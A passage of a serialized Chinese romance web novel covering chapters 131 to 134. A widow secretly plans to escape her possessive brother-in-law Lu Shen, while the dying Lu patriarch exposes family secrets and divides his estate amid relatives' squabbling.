素琴带着陆瑶去陆氏老宅闹过几次,哭得梨花带雨,最后都是毫不留情的驱逐。
没了陆子民的庇护,她们在江城连跳梁小丑都算不上。
最后无奈之下,只能也离开了江城。
至于陆辰,陆慎没有亲自动手对他做什么。
他只是让人把陆辰在国外涉黑、**以及那几桩没结清的人命案子证据,原封不动地递到了他那些仇家的桌案上。
然后让阿信,把陆辰送去国外了。。
一到国外,陆辰落在那些仇家手里,死,有时候也是一种奢望。
医院,特护病房
陆老爷子的身体垮得极快,每天清醒的时间屈指可数。
这天午后,老爷子趁着精神尚可,点名要见苏亦姝。
苏亦姝来到病房的时候,就看到老爷子靠在床头上,枯瘦如柴的手颤巍巍地朝她招了招。
“亦姝……过来。”
苏亦姝依言走到床边坐下,神色平静,没有多少晚辈面对长辈即将辞世时的哀恸,却也存了一分敬意。
老爷子看着苏亦姝,声音低哑,浑浊的眼里满是愧疚,叹了口气,这才说道:“亦姝,你是个好姑娘。可惜,是阿钦没福气。从你嫁进来后,是陆家亏待了你,阿慎那个性子……咳咳,也让你受了不少委屈。”
“爷爷,都过去了。”苏亦姝淡淡回应。
老爷子摇了摇头,“我这把老骨头没几天活头了。临最后了……我想再为你做点什么。亦姝,你跟我说句实话,你想要什么?名分,股份,还是……想正式留在阿慎身边?只要你开口,我都能帮你……”
苏亦姝看着老人眼底那抹弥补的希冀,沉默了片刻。
她知道,这是一个能让她名正言顺,且很顺利地站在陆慎身边的机会。
但她,不想要。
“爷爷,如果您真的想帮我,那就请您帮我离开陆慎。”
老爷子猛地愣住,似乎没想到,苏亦姝会提出这样的要求来。
“离开……阿慎?你确定?阿慎,不会同意的吧……”
苏亦姝直视着他的双眼,没有任何闪躲。
“我想彻底离开陆家,离开陆慎。这是我唯一想要的弥补。”
老爷子看着她的神色,自知她是认真的。
终是长叹了一口气,苦涩道:“我原本以为……阿慎能留住你。罢了,强扭的瓜不甜。这件事,我会安排。”
苏亦姝走出病房关上门时,正撞上刚从公司赶来的陆慎。
看到苏亦姝的一瞬间,陆慎那锐利的锋芒才收敛了几分,却在注意到她微红的眼眶时,再次眯起了双眼。
“老头子跟你说什么了?”陆慎走上前,习惯性地想要伸手揽她的腰,却被苏亦姝不着痕迹地侧身躲开。
苏亦姝语气如常:“没什么,随便聊了聊。”
“随便聊了聊?”
陆慎冷哼一声,步步紧逼,将她堵在墙角,深邃的眼眸里满是狐疑,“随便聊聊能聊这么久?苏亦姝,你最好别背着我跟他达成什么协议。”
苏亦姝抬起头,眼神平静得没有一丝波澜,“陆总想多了。爷爷只是觉得他时日无多,想跟我这个孙媳妇交代两句后事罢了。”
陆慎盯着她看了许久,试图从那双眼睛里看出些什么来,却终究一无所获。
他伸手帮她理了理领口,嗓音低沉且带着警告:“苏亦姝,无论他答应了你什么,只要我不点头,你就哪儿也去不了。明白吗?”
苏亦姝嘴角微不可察地勾了勾,没说话。
陆慎也没有推开病房门,进去询问老爷子。
老爷子已经松了口,剩下的事对他而言不过是按部就班。
他现在更在意的,是苏亦姝刚才那个似是而非的眼神。
那眼神太淡了,淡得让他心慌。
他一言不发地拽起苏亦姝的手,力道大得让苏亦姝吃疼的皱起了眉头。
陆慎直接将苏亦姝塞进了车里,一路疾驰。
回到别墅,大门刚在身后合上,陆慎甚至没给苏亦姝换鞋的机会,转身便将她抵在了玄关冰冷的门板上。
“苏亦姝,我想要你……”他嗓音沙哑得厉害,带着一股子急切,低头便衔住了她的唇。
这个吻来得又凶又急,不似平时的那种温柔,带着惩罚的意味,啃咬着
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,像是要将她整个人拆吃入腹。
苏亦姝后背被撞得有些生疼,嘴唇上的疼痛让她呼吸变得急促。
她抬眼看着近在咫尺的这张脸,英挺、冷肃,那是江城无数女人趋之若鹜的皮相。
想到老爷子临终前的承诺,想到出国的手续已经有了眉目,她突然觉得,这大概是最后一次了。
以后,怕是再也吃不到身材这么好、技术这么带劲的男人了。
既然要走了,总得最后尽兴一回。
苏亦姝心下一横,原本抵在他胸膛的手突然勾住了他的脖子,仰起头,第一次在清醒的时候给出了最直接的回应。
陆慎身体猛地僵住,心头顿时一喜,随之而来的便是更加疯狂的索取。
苏亦姝的主动像是一把药匙,彻底打开了陆慎一直克制压抑的情、欲。
“这可是你主动的……”
他低喘着,粗鲁地扯开领带,大理石台面上的摆件被一扫而过,发出清脆的碎裂声。
在玄关,在沙发,苏亦姝像是一株攀附在他身上的藤蔓。
客厅巨大的落地窗倒映着两个纠缠的身影,窗外是沉寂的夜色,窗内是热情如火一般的纠缠。
陆慎像是要把她揉进骨子里,在她身体的每一处都落下属于他的烙印。
从餐桌到厨房的流理台,冰凉的触感与灼热的体温交织。
苏亦姝仰着头,指甲在他紧实的背部划出道道红痕,她放任自己沉溺在这场原始的博弈中。
“苏亦姝,叫我的名字。”陆慎扣着她的腰,逼着她直视自己。
“陆慎……”她嗓音支离破碎,带着动情后的暗哑,听在陆慎耳里,却是最好的催情剂。
他将人横抱而起,一边吮吸着她的锁骨,一边大步跨上台阶。
楼梯、长廊、一直到主卧那张凌乱的大床上。
这一晚,陆慎像是一头不知疲倦的野兽,疯狂地掠夺着。
他敏锐地察觉到苏亦姝的反常,却兴奋的以为这是她的回心转意。
直到凌晨,云雨初歇。
苏亦姝疲惫地蜷缩在被子里,听着身边男人沉稳的呼吸声,她慢慢睁开眼,目光落在虚空处,眼底平静得没有一丝温存后的余温。
陆慎,这算是我给你的……分手礼。
第一百三十一章 签证到了
第二天清晨,阳光透过厚重的窗帘缝隙,洒在凌乱的大床上。
苏亦姝睡得正沉,迷糊间只觉得脸上痒痒的,像是有什么东西在脸上,痒痒的,让她很难受。
紧接着,腰间缠上来一股灼热的力道,让她浑身动弹不得。
她有些烦躁地想要翻身,却发现身体沉重得厉害,那种熟悉的侵占感让她瞬间清醒了大半。
睁开眼,对上陆慎那双布满欲色的黑眸,苏亦姝眉头紧蹙。
“陆慎……你有完没完?”苏亦姝嗓音沙哑得厉害,像是被砂纸磨过一般,她咬牙切齿地推了推男人的肩膀,这个人,没完没了了,他不累,她累啊。
昨晚几乎是一整晚,她都被翻来覆去的。
这么高强度的运动,还是生平第一次,虽然很刺激也很爽,但是,却也差点让她精疲力尽死掉。
“滚下去……我没力气了。”苏亦姝又重复了一遍。
陆慎非但没下去,反而低头亲了亲她抓在被角上的手指,湿热的触感带起一阵战栗。
他嘴角勾起一抹餍足的笑,嗓音低沉暗哑,“不用你出力,我来就好。”
“你……”
苏亦姝未出口的话被他悉数吞没。
昨晚的疯狂似乎还没消减他的精力,反而因为苏亦姝难得的顺从,让他食髓知味。
又是一场漫长的起伏。
等彻底云收雨歇时,苏亦姝累得连指尖都不想动弹了,任由陆慎抱着自己进浴室简单清理,又被塞回了被窝。
陆慎此时也没了去公司的念头,他侧躺在床边,修长的手指绕着苏亦姝的一缕黑发把玩了一会儿,然后将她整个人搂在怀里,两人相拥而眠。
寂静的卧室内,只有两人交错的呼吸声,这片刻的温存,让陆慎生出一种两人会一直这样走下去的错觉。
直到中午,一阵急促的手机铃声打扰了这份宁静。
陆慎眉头紧锁,手从被子里探出抓过手机。
是医院打来的,福伯的声音在那头透着焦急,“三少爷,老爷子情况不对,医生下达了病危通知,您赶紧过来一趟!”
陆慎眸光一凛,瞬间清醒。
他翻身下床,顾不得身上的痕迹,动作利落地穿好衬衫长裤。
回头看了一眼撑起身子、眼神还有些涣散的苏亦姝,他弯腰在她的额头上落下一吻。
“老头子那边出了点状况,我得过去看看。你继续睡,不用过去,等我回来。”
苏亦姝看着他匆忙离去的背影,听着楼下汽车引擎发动的声音渐远,直到别墅彻底恢复安静,她才慢慢坐了起来,眼神也已经清明,没有了半点睡意。
她掀开被子,忍着身体的酸痛下地,还没等她走进浴室,搁在床头柜上的手机也响了起来。
屏幕上跳动着“顾向南”的名字,苏亦姝眼眸一动。
苏亦姝划开接听键,那头顾向南的声音便传了过来。
“亦姝,你妈妈那边我已经安排妥当了,今天一早已经送去了你说的那边疗养院。还有……你的签证已经下来了,寄到你住的公寓了。”
苏亦姝握着手机的手紧了紧,目光看向窗外。
“好,我知道了。谢谢你,向南。”
“什么时候走?”
苏亦姝沉默了。
“还有事情没处理完,等处理完吧……”
电话那头的顾向南也跟着沉默了几秒,随后说道:“好,你自己小心点,有事随时找我。还有,有关陆钦的车祸,我这边不管怎么查,似乎都是意外。但尽管是意外,这里面,也有人为的因素。就是不知道是有意还是无意……”
“我明白了。”
挂断电话,苏亦姝走进了浴室。
苏亦姝回到公寓时,那封装有签证的跨国快递就躺在门口的收纳盒里。
撕开封口,暗红色的证件落入眼底。
她原以为拿到这东西会有一种如释重负的快感,可真正拿在手里后,心底那股突如其来的苦涩却让她有些猝不及防。
还没来得及细细探究这份异样,方思荷的电话就来了。
“亦姝,快出来!我这出院都好几天了,还没跟你好好搓一顿呢,老地方见!”
方思荷的声音还是那么有活力,听不出半点大病初愈的虚弱。
苏亦姝应了一声,收好签证,换了一件高领的针织衫——为了遮住颈侧那些消不下去的红痕。
餐厅定在市中心的一家私房菜馆。
苏亦姝刚到门口,方思荷就扑上来给了她一个大大的拥抱。
“想死你了!你最近忙什么呢?每次找你,都好久才回……我就差亲自去擎天找你了。”
“公司正在忙一个项目,之前跟你说过的。”苏亦姝笑着随口带过。
两人正准备往里走,迎面撞上一对刚从包间出来的男女。
是陆彦和赵西双。
看到苏亦姝,陆彦那张原本挂着敷衍的笑容的脸瞬间僵住,几乎是下意
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识地,他猛地往侧边迈了一步,拉开了与赵西双之间的距离。
那动作快得有些突兀,不知道的还以为是做了什么见不得人的事情。
赵西双被他这举动弄得整个人愣了下,反应过来后,看着空出来的那个身位,眼底瞬间覆上了一层冰冷。
“大嫂,这么巧。你也来这儿吃饭?”陆彦换上一副温和的笑脸,目光落在苏亦姝的脸上,带着几分探究和复杂。
苏亦姝神色淡淡,扫了他一眼后便移开了视线,不冷不**回了一句,“嗯,约了朋友。”
“陆、四少,走廊窄,麻烦别挡着道。”方思荷没好气地白了陆彦一眼,她一向看不上陆家这些心术不正的男人。
说到底,还是为自己姐妹打抱不平。总觉得陆家这些个男人一个个都不是个好东西!
苏亦姝礼貌性地点了下头:“我们先过去了。”
两人擦肩而过。
陆彦站在原地,目光不由自主地追随着苏亦姝的背影,直到她们进了另一边的隔间,才收回视线。
“别看了。”
赵西双冷硬的声音在背后响起,带着毫不掩饰的嘲讽。
她双手环胸,下巴微扬,看着陆彦的神色,带着几分嘲弄,“再看下去,不知道的,还以为你对你那位守寡的嫂子有什么非分之想呢。”
陆彦后背僵了僵,随即转过身,平日里的温文尔雅消失殆尽,眼神阴沉地警告道:“赵西双,把你的嘴放干净点。”
“怎么,戳到你痛处了?”赵西双不仅没收敛,反而笑得愈发张狂。
她就是见不得陆家这些个男人,一个个上赶着去贴着苏亦姝。苏亦姝那个**,到底哪里好了?
论样貌,确实不错,但比她长得好看的女人多的是。论才华,她苏亦姝不见得有什么才华。论能力,她自认为自己的能力不输她苏亦姝。
所以,陆家这些个男人到底是看中苏亦姝什么?
“陆彦,收起你那点不该有的心思。你觉得,就凭你,能从陆慎手里抢得过人?还是你觉得,你比你大哥陆钦更有命去消受这份‘福气’?”
陆彦额角的青筋跳了跳,死死地盯着她。
赵西双冷哼一声,踩着高跟鞋头也不回地朝大门走去,声音顺着风飘了过来,犀利又讽刺。
“陆家男人都一个德行,吃着碗里的看着锅里的。可惜啊,苏亦姝那样的女人,哪怕陆慎玩腻了,也轮不到你捡漏。”
第一百三十二章 陆家的男人都不是好东西
包厢内,方思荷一边翻着菜单,一边吐槽着陆彦。
“瞧陆彦刚才那德行,一看见你,恨不得立马跟赵西双撇清关系,也不撒泡尿照照自己什么样。我哥早就跟我说了,陆彦这人面上看着温润如玉,背地里手段阴损得很,跟赵西双那毒蝎心肠的女人凑一块,简直是天造地设,一对**,最好这辈子锁死,别出来祸害别人!”
苏亦姝看着方思荷那气得脸颊通红的模样,忍不住轻笑出声,伸手给她倒了杯大麦茶。
“行了,喝口水润润嗓子,省点口水吧。为了他们动气,不值得。”
方思荷接过杯子猛喝了一口,这才顺了气,随即神色一正,压低声音凑过来问道:
“亦姝,说正经的,你接下来到底什么打算?我听我哥说,陆老爷子的情况也就是这几天的事了。等那老头子一走,陆家那帮心怀各胎的肯定得闹翻天,陆慎那性子……他能放过你?”
苏亦姝握着茶杯的手指微微收紧,指尖在温热的瓷壁上摩挲。
她沉默了片刻,脑海中浮现出签证,以及陆慎临走前在别墅留下的那个吻。
她张了张嘴,刚想开口:“思荷,我其实……”
“哎,你等等!”方思荷突然伸手制止了她,眼神清亮且通透,“你先别说。看你这副欲言又止的样子,我就知道你心里憋着大招呢。”
苏亦姝一愣。
方思荷叹了口气,握住她的手,语气变得认真起来。
“亦姝,陆家现在就是个马蜂窝,陆慎更是个疯子。你的计划要是告诉我了,万一哪天陆慎疯起来查到我头上,我这演技肯定穿帮。所以,在事情没办成之前,一个字都别跟我透漏。”
她顿了顿,眼神坚定地看着苏亦姝,“等你彻底自由了,换了新号码,再给我报个平安。到那时候,哪怕陆慎把江城翻过来,只要我不知道,他就拿我没办法。”
苏亦姝鼻尖微微发酸,心底那抹因为即将离别而产生的涩意被这股暖流冲淡了不少。
她回握住方思荷的手,重重地点了点头。
“好。”
两人相视一笑,一切尽在不言中。
这顿饭吃得格外沉默,却也格外温情。
苏亦姝知道,这可能是她在江城最后一次和知心好友坐在一起安安稳稳地吃饭了。
走出餐厅时,夜幕已经降临。
方思荷在路边拦了辆车,上车前回头用力抱了抱苏亦姝,小声说了一句:“一定要平安,要开心。”
苏亦姝站在路灯下,看着出租车远去,脸上的笑意渐渐收敛。
她刚要转身,一辆黑色的劳斯莱斯停在了她跟前,车窗缓缓降下,露出陆慎那张略显疲惫却依然凌厉的脸。
他眸色深沉地看着她,嗓音低哑,“去哪了?为什么不接电话?”
车门打开,苏亦姝平静地坐进了副驾驶。
车厢里弥漫着淡淡的烟草味和陆慎身上那股独有的冷冽。
他没立刻发动车子,侧过头,深邃的目光落在苏亦姝的脸上,眼眸深沉。
“跟思荷吃饭,手机静音放在包里,没听到。”苏亦姝主动开口,声音清冷如常。
陆慎原本紧绷的下颚线在听到这句话后,瞬间缓和了几分。
他刚才在后面其实看到了她送方思荷离开的一幕,他只是想听她亲口跟他说这些罢了。
见她没撒谎,陆慎胸口那团闷了一下午的烦躁,被这一句平淡的解释给冲淡了不少。
“嗯。”他应了一声,嗓音里透出几分连他自己都没察觉的轻快,启动车子融入车流,“以后哪怕再静音,也要记得看一眼,找不到你我会担心。”
苏亦姝没接话,只是看向窗外不断后退的景色。
“老头子的情况不太好,估计也就这两天的事了。”陆慎自顾自地说着,单手掌控着方向盘,另一只手扯了扯领带,眉宇间堆积着浓重的戾气。
“三叔和陆彦已经开始坐不住了,暗地里小动作非常多。我刚从医院出来,那帮人已经恨不得让老爷子马上公布遗嘱。”
苏亦姝转过头,借着路灯明灭的光,看到了他眼底那抹嘲讽和从容。
这一刻,她心里突然生出一丝复杂的情绪。
这个在江城翻手为云覆手为雨的男人,此时看起来,竟然有一瞬间的孤寂。
苏亦姝鬼使神差地伸出手,微凉的指尖轻轻抵在他的眉心,想要抚平那抹始终散不去的烦躁与疲累。
陆慎握着方向盘的手猛地一颤,车子在空旷的马路上划出一道细微的弧线。
他迅速稳住方向,踩下刹车,将车停在了无人的路边。
车内重归死寂。
陆慎转过头,眼底翻涌着浓烈到让人窒息的爱意与欢喜。
他没想到一向冷淡的苏亦姝会主动亲近他,这种久违的、不带目的的温柔,让他有些不敢置信,更多的是惊喜。
这种感觉,太久没有感受到了……
他伸出手,紧紧地抓住了苏亦姝的手指,握在手里,像是握住了世间最珍贵的宝贝。
他没说话,只是把她的手指贴在自己的唇瓣上,一下又一下,虔诚而疯狂地亲吻着,灼热的呼吸尽数洒在苏亦姝的手指上。
“苏亦姝……”他呢喃着,嗓音沙哑到了极致,“你这样,我会以为你真的舍不得我。”
苏亦姝心尖一颤,指尖传来的滚烫让她想要缩回手,可陆慎抓得很紧,让她根本就抽不回来。
她垂下眼睑,避开了
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那双炽热的眸子,淡淡道:“陆慎,开车吧。”
陆慎眼里的光暗了暗,却又被他故意给忽略掉。
他深吸一口气,贪婪地嗅着她指尖那点淡淡的香气,才慢慢松开手。
他重新发动车子,声音恢复了往日的沉稳,却多了一丝从未有过的温柔,“今晚我要给老头子守夜。我先送你回去。这两天江城会很乱,你乖乖待在公寓里,哪儿也别去,阿信会守在楼下。”
苏亦姝低低地“嗯”了一声。
车子缓缓停在公寓楼下。
苏亦姝伸手去解安全带,刚想推门下车,手腕却被陆慎的大手猛地攥住。
她还没来得及回头,陆慎已经解开了自己的安全带,欺身压了过来。
他扣住她的后脑勺,不由分说地低头吻了下去。
这个吻不似以往那般带着掌控一切的霸道,反而透着股卑微的急切和隐隐的惊惧。
不知道为什么,从刚才苏亦姝伸手抚平他眉心那一刻起,陆慎心底那抹不安非但没有消失,反而愈演愈烈。
他总觉得,此刻眼前的苏亦姝,像是指缝间的沙,越是想握紧,流逝感就越强烈。
漫长的亲吻中,车厢内的温度节节攀升。
苏亦姝没有挣扎,甚至在两人深入亲吻的时候,她闭上了眼睛。感受着陆慎的热烈和爱意。
这或许是最后一次了,她在心里轻声对自己说。
陆慎的呼吸越来越重,大掌不自觉地顺着她的腰际向上,隔着薄薄的针织衫,掌心的温度几乎要将她灼伤。
苏亦姝身体微微颤栗,纤细的手臂垂在身侧,紧紧攥着手,才克制住那股因动情而生出的虚软。
就在气氛临近失控的边缘,陆慎却突然停了下来。
他将额头抵在苏亦姝的额头上,两人急促的呼吸交织在一起,狭窄的空间里全是暧昧的气氛。
“等我回来。”陆慎声音哑得不像话,他克制地闭了闭眼,自嘲地低笑一声,“再亲下去,我怕是今晚去不了医院了。”
他慢慢松开手,修长的手指擦过苏亦姝红肿的唇瓣,眼底的情欲浓重,却又带着克制和压抑。
“上去吧,把门锁好。”
苏亦姝平复了一下紊乱的气息,重新整理了下有些凌乱的领口,推开车门。
“你也……注意安全。”她背对着他,声音轻得几不可闻。
陆慎坐在车里,降下车窗,点燃了一根烟。
他没急着走,就那么靠在椅背上,看着那抹窈窕的身影走进公寓,看着楼上窗户里的灯光亮起。
烟雾缭绕中,他心头那抹挥之不去的不安感,在灯光亮起的一瞬,稍微平复了一些。
他自嘲地笑了笑,发动车子离开了……
第一百三十三章 说到底,是你害**阿钦
医院,特护病房内。
陆老爷子脸上戴着氧气罩,胸口起伏微弱。连日来的住院,让原本就消瘦的脸颊,此刻更是枯瘦。
福伯守在床头,时不时用棉签沾点水,抹在老爷子的嘴上。
原本宽敞的病房,此时却挤满了陆家人,显得逼仄而压抑。
陆慎推门进来时,陆子勋、陆子谦、陆彦、陆域正各自守在角落,连程丽梅也坐在一旁的扶手椅上,手紧紧攒着手里的手提包。
陆慎扫了众人一眼,没打招呼,径直走到落地窗边的单人沙发坐下。
他长腿交叠,姿态闲适,跟众人那凝重的神色比起来,倒是显得肆意的多。
只是周身散发出的那股戾气,却让原本各怀心思的几个人下意识缩了缩脖子。
病房里谁也没说话,十分寂静,只有呼吸机“嘶嘶”的声响,在这安静的病房里显得尤为声响。
最先沉不住气的是陆子谦。
他清了清嗓子,往陆慎的方向挪了半步,刻意压低了声音,却刚好能让屋里的人都听清:
“阿慎,老爷子的情况,医生刚才已经把底都交了。也就这两天的事。刚才我跟老三还有你妈商量了一下,觉得这种时候……是不是该把你爸喊回来?毕竟是亲爷俩,见最后一眼,也是老爷子的心愿。”
这话一出,原本垂眸不语的程丽梅抬起头来,朝着陆慎那边看了看,嘴唇颤了颤,终究是一个字也没说。
陆慎连眼皮都没抬一下,从兜里摸出打火机,拿在手上把玩着,金属扣合的声音清脆刺耳。
“二叔既然这么有孝心,直接去办就是了,跟我说做什么?”
陆子谦被噎得老脸通红,没好气地说道,“阿慎!你这话就没意思了。你现在掌管着陆家,这么大的事,不跟你商量,谁敢私自把人接回来?”
“呵。”
陆慎发出一声极轻的嗤笑,这才抬眼看向陆子谦,眼底一片嘲讽。
“二叔也知道现在是我掌管陆家?既然知道,那这种操心的事情你也没必要去硬往自己身上揽。之前在老宅我就说的很清楚了,我已经把陆子民的名字从族谱上剔除了,这句话,不是说说而已。”
陆域忍不住皱眉插话,“陆慎,你过分了!我爸也是好意,毕竟大伯在外面这么多年,爷爷心里念着他也正常。再说,大伯是你父亲,父子两,哪有什么深仇大恨。”
陆慎转头看向陆域,眼神带着几分玩味。“是不是好意,你心里清楚。你们是什么想法,你们清楚,我也清楚。有些事情没必要拿到明面上来说,一旦说出来,那就不是尴尬两个字就能解决的了。”
陆子谦的眼神闪烁了一下,拍了拍陆域的肩膀示意他闭嘴。他看出来了,陆慎现在处于一点就着的边缘,谁撞上去都是个死。
陆慎收回目光,仰头靠在沙发背上,闭目养神。
他心里莫名烦躁得厉害。
这种感觉,来的有些不正常,叫他有种无从下手的感觉……
病房内,老爷子原本微弱的呼吸突然变得深长有力,原本紧闭的双眼缓缓睁开,眼底透着一股少有的清亮。
这显然是回光返照的征兆。
“阿慎,阿域,阿彦……老三……老二,丽梅,你们都在啊。”老爷子声音虚浮,却带了点笑意,目光在众人脸上扫了一圈,枯瘦的手撑着床沿动了动,“真好,陆家的人,总算凑齐了一回。”
福伯立即上前,扶着老爷子。
陆彦站在不远处,目光闪了闪,突然开口道:“爷爷,大嫂不在这儿。您刚才还念叨她呢,要不要喊大嫂过来?”
陆慎听到苏亦姝的名字,朝着陆彦看去,眼底透着意味不明的神色。
“喊她来做什么?”程丽梅几乎是条件反射地尖叫出声,语气里的嫌恶毫不遮掩,“这种时候,她一个外人掺和什么?”
话音落地,病房里瞬间安静了下来。
程丽梅对上陆慎那双阴鸷又冰冷的眼眸,身体一僵,后背冒出一层冷汗。嘴唇嗫嚅了一下,才发觉自己失态了。
她也不知道为什么,只要提起苏亦姝,她就会反条件的对她十分偏激,有些时候,是情不自禁。
“外人?”老爷子转头看向程丽梅,眼神沉沉,脸上露出几分失望之色。
“丽梅,何必呢。说到底,陆家所有人里,最亏欠亦姝那孩子的人,是你啊。”
程丽梅一愣,有些不可置信,激动地站了起来。
“爸!您胡说什么?我亏欠她?要不是她,阿钦当初会死吗?要是没有她,阿钦现在还好好地站在
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我面前呢,要不是她,咱们陆家也不会……”说着,朝着陆慎看了眼,止住了话。
提起死去的长子,程丽梅眼眶瞬间红了,心底的怨恨彻底散发出来。
老爷子平静地看着她,任由她发泄,好半晌才幽幽地叹了口气。
“阿钦的死,你真的觉得是因为亦姝?还是说,你对亦姝的偏激,只是为了掩盖你内心深处那点见不得人的悔恨?丽梅,有些事情,你真的以为我都不知道?”
程丽梅彻底愣住了,脸色由青转白,身体不可抑制地颤抖起来。
“我也知道,我快不行了,有些话再不说,就带进棺材里了。”
老爷子没理会众人的惊愕,继续说道,“我早就查清楚了,阿钦当初确实不喜欢苏可人,是你为了掌控阿钦,强行把苏可人塞给他的。你威胁阿钦不准娶亦姝,阿钦跟你大吵一架……你容忍不了阿钦忤逆你,所以你就想尽办法欺辱亦姝。说白了,你是嫉妒她,你觉得她抢走了你最引以为傲的儿子。”
“不……不是这样的……”程丽梅脸色惨白一片,心底最阴暗的一面被老爷子当众赤裸裸地这么揭开来,让她无处遁形。
老爷子继续说着,“还有车祸那天。阿钦当晚不是要跟苏可人私奔,是苏可人拿怀孕威胁他,让他送她回去。而阿钦开的那辆车,原本该进厂保养的,是你为了阻拦亦姝进门,故意找借口拖着阿钦,让他没时间去换车保养就急匆匆上了路……刹车失灵,这也间接导致了惨剧。”
老爷子闭了闭眼,语气里满是疲惫,“丽梅,阿钦的死,终究是因为你的控制欲导致的。你把所有的罪名都推到亦姝头上,无非是想让自己活得心安理得一点。”
程丽梅瘫坐在扶手椅上,整个人像是被抽走了灵魂,喉咙里发出“嗬嗬”的声音,却一个字反驳不出来。
在场的众人,除了陆慎,一个个震惊地看着程丽梅。
怎么也没想到,陆钦的死,是因为自己亲妈的掌控欲而导致的。
陆慎猛地睁开眼,看向老爷子。
这些事情,其实他都知道,原本以为,这些,他会亲手帮苏亦姝讨要回来,倒是没想到,老爷子先开了头。
老爷子对上陆慎的视线,笑了。
“阿慎……”
第一百三十四章 阿慎,放过亦姝吧
“阿慎……”
老爷子苍老的声音在病房里再次响起,他看着坐在窗边那个眉眼冷厉的孙子,眼底有欣慰,有骄傲,也有一抹让人看不懂的复杂。
陆慎看了过去,微微挑眉。
对于老爷子的表情,他大概了解一些,但是却不多。因为老爷子的想法与他来说,不重要。
其他人则都看向陆慎,刚才老爷子跟程丽梅说的那番话,让他们几个震惊不已。
就是不知道,接下来老爷子,还会说出什么来。
老爷子叹了口气,缓缓说道:“亦姝是个好孩子,是陆家对不起她,困住了她,也委屈了她。我这把老骨头没几天活头了,临走前,就算我求你,放过她吧。”
陆慎把玩着打火机的动作一顿,“咔哒”一声,火苗窜起又瞬间熄灭。他抬起眼眸,嘴角勾起一抹毫不掩饰的嗤笑。
“放过她?不可能。”
短短几个字,掷地有声,让病房里所有人都愣住了。
陆子谦和陆子勋对视了一眼,都从对方眼里看到了震惊。
哪怕外界传的沸沸扬扬,有关陆慎对苏亦姝这个寡嫂心思不纯,但谁也没想到他敢当着老爷子和全家人的面,这么直白地把这层窗户纸捅破。
其实,更让他们震惊的是,老爷子知道,但是却没制止,反而让陆慎放过苏亦姝。
“你……”
老爷子剧烈地咳嗽起来,福伯赶紧给他顺气。
好半晌,老爷子才缓过来,苦笑着摇了摇头,“我早就猜到了。你这性子,认准了的东西,谁也抢不走。罢了罢了……”
说完,脸上的神色更加复杂了。
只是他没头没尾的话,却叫陆慎心里有些不安。
老爷子为何会突然说起这个来?还让自己放过苏亦姝?难不成,他跟苏亦姝之间,有什么**的事情?
老爷子靠在枕头上,看着陆慎,缓慢却清晰地说道:“我答应过亦姝,会还她自由。其实当年,因为**阻拦,亦姝的名字,根本就没上陆家的族谱。”
陆慎猛地坐直了身体,那双阴沉的黑眸里,瞬间迸发出一股难以抑制的狂喜。
没上族谱。
这意味着,苏亦姝在法律和宗族意义上,从来都不算陆钦的遗孀。她干干净净,是个彻头彻尾的自由身!
果然,苏亦姝跟老爷子之间,有**的事情。
“所以,只要亦姝自己愿意,我不会再阻拦你们。”老爷子叹了口气,“这是我能为她,也是为你,做的最后一件事了。”
陆慎死死盯着老爷子,胸口剧烈起伏着。
他突然觉得,这满屋子的算计和恶臭,似乎都不那么重要了。只要苏亦姝是他的,只要她能名正言顺地站在他身边,其他的,他都可以不在乎。
其实,就算名不正言不顺,对他来说也不是问题,只是他知道,苏亦姝在意。
“行了,阿钦和亦姝的事,就到此为止。”
老爷子虚弱地挥了挥手,眼神瞬间变得锐利起来,扫过床前那些神色各异的子孙,“今天把你们都叫来,主要是为了遗嘱的事。我名下的财产和股份,我已经找律师分好了。”
这话一出,病房里的气氛瞬间变了。
刚刚还沉浸在震惊和尴尬中的众人,此刻一个个的面色各异,眼睛齐刷刷地看向了老爷子。
陆子谦不自觉地搓了搓手,陆域也微微挺直了脊背,连瘫坐在椅子上的程丽梅,都抬起了那双布满血丝的眼睛。
“擎天集团的掌控权,依旧归阿慎。我手里剩下的百分之三十五的股份,全部转到阿慎名下。”
“什么?”
陆子勋第一个跳了起来,原本伪善的样子瞬间消散,他指着陆慎,带着浓重的不可置信。
“爸!您疯了吗?他一个人拿百分之三十五?那加上他手里的,擎天还有我们什么事!这不公平!”
老爷子冷笑一声,看向陆子勋的眼神,从未有过的冷漠。
“公平?擎天要是没阿慎撑着,你觉得会是现在这样子吗?老三,你名下那些空壳公司每年从擎天吸走多少血,真以为我瞎了吗?”
陆子勋脸色涨得通红,却还是梗着脖子吼道:“那也不能全给他!我是您亲儿子!阿彦也是您亲孙子!不仅仅是我们,还有二哥和阿域呢。”
陆子谦也急了,赶紧帮腔,“是啊爸,老三虽然有些糊涂账,但您这分配也太偏心了。那我和老三,您是怎么打算的?”
“你和老三,每人分百分之五的干股,只拿分红,不参与决策。老宅和名下的几处不动产,平分给你们。”老爷子越说越觉得悲凉,这群人,在自己弥留之际,眼里只有那点钱。
老爷子看了陆慎一眼,淡淡道:“我在瑞士银行有一笔信托基金,大约五个亿,留给亦姝。算是陆家给她的补偿。”
“五个亿?”程丽梅猛地站起来,像个疯子一样尖叫,“凭什么给她
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五个亿!她一个外姓人,对陆家没有任何贡献,还搅的陆家不得安宁,凭什么拿我们陆家的钱!”
“凭她差点被你折磨死!”陆慎霍然起身,带着极强的压迫感,眼神冰冷地扫过程丽梅,“再让我听见你叫唤一句,我不介意现在就把你送进精神病院!”
程丽梅被他眼底的冷冽吓得一哆嗦,再次瘫坐回去。
病房里彻底乱成了一锅粥。
陆子勋和陆子谦红着眼围在床前争论,陆彦和陆域眼神冰冷地对峙,为了那点股份和资产,所有人都在扯皮、算计,连最后的体面都不要了。
陆慎冷眼看着这场丑陋的闹剧,心底那股不安感却在这嘈杂中再次诡异地升腾起来。
他突然转身,不再理会身后的争吵,大步流星地走出病房,掏出手机,拨通了阿信的电话。
“阿信,苏亦姝现在在干什么?”
电话那头,阿信的声音有些迟疑,“三少,苏小姐的公寓……半个小时前就熄灯了,应该是睡觉了……”
“睡了?”
陆慎握着手机的手微微用力,心头那抹挥之不去的不安不仅没散,反而越来越重。
以他对苏亦姝的了解,今晚发生了这么多事,她不可能睡得这么安稳。
还没等他吩咐阿信上楼去敲门看看,病房门突然被人猛地推开。
老爷子病房里,仪器发出了警报声。
紧接着,医生和护士推着抢救设备,神色匆忙地冲了进去。
“病人血压急剧下降!准备心肺复苏!其他所有人都离开。”
陆家所有人都慌乱地想要围了过去,却被医护人员给赶了出来。
老爷子不行了,这回是真的到了弥留之际。这是所有人心底都清楚的事情。
